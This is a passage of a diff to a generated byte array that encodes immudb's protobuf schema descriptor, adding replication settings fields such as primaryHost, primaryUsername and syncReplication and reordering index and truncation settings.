0x6f, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, + 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, - 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, - 0x12, 0x55, 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, - 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, - 0x64, 0x73, 0x52, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, - 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x22, 0x99, 0x09, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, - 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, - 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, - 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, + 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, + 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, - 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, - 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0b, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, - 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, - 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, - 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, - 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, 0x0f, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, + 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, + 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, + 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, - 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, - 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, - 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, - 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, - 0x52, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, - 0x12, 0x53, 0x0a, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, - 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, - 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x55, 0x0a, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, - 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, - 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x59, 0x0a, 0x18, - 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, - 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, + 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, + 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, + 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x18, 0x68, - 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, - 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, - 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, - 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, - 0x12, 0x47, 0x0a, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, + 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, + 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, + 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, - 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4a, 0x0a, 0x11, 0x63, 0x6c, 0x65, - 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x0d, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, - 0x61, 0x74, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, - 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, - 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, - 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x5b, 0x0a, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, - 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, - 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, - 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x16, 0x62, 0x75, 0x6c, - 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, - 0x6f, 0x75, 0x74, 0x22, 0xa3, 0x01, 0x0a, 0x13, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0d, 0x73, - 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, + 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, + 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, + 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, + 0x67, 0x12, 0x4b, 0x0a, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, + 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, + 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x12, 0x45, + 0x0a, 0x0f, 0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, + 0x67, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x69, 0x6e, 0x67, 0x22, 0xc2, 0x01, 0x0a, 0x1a, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, + 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, + 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, + 0x69, 0x6f, 0x64, 0x12, 0x55, 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, + 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x22, 0x99, 0x09, 0x0a, 0x15, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, + 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, 0x6c, 0x75, + 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, 0x0d, 0x73, + 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, - 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3f, 0x0a, + 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, + 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, + 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, + 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, + 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x12, 0x4d, 0x0a, + 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, + 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 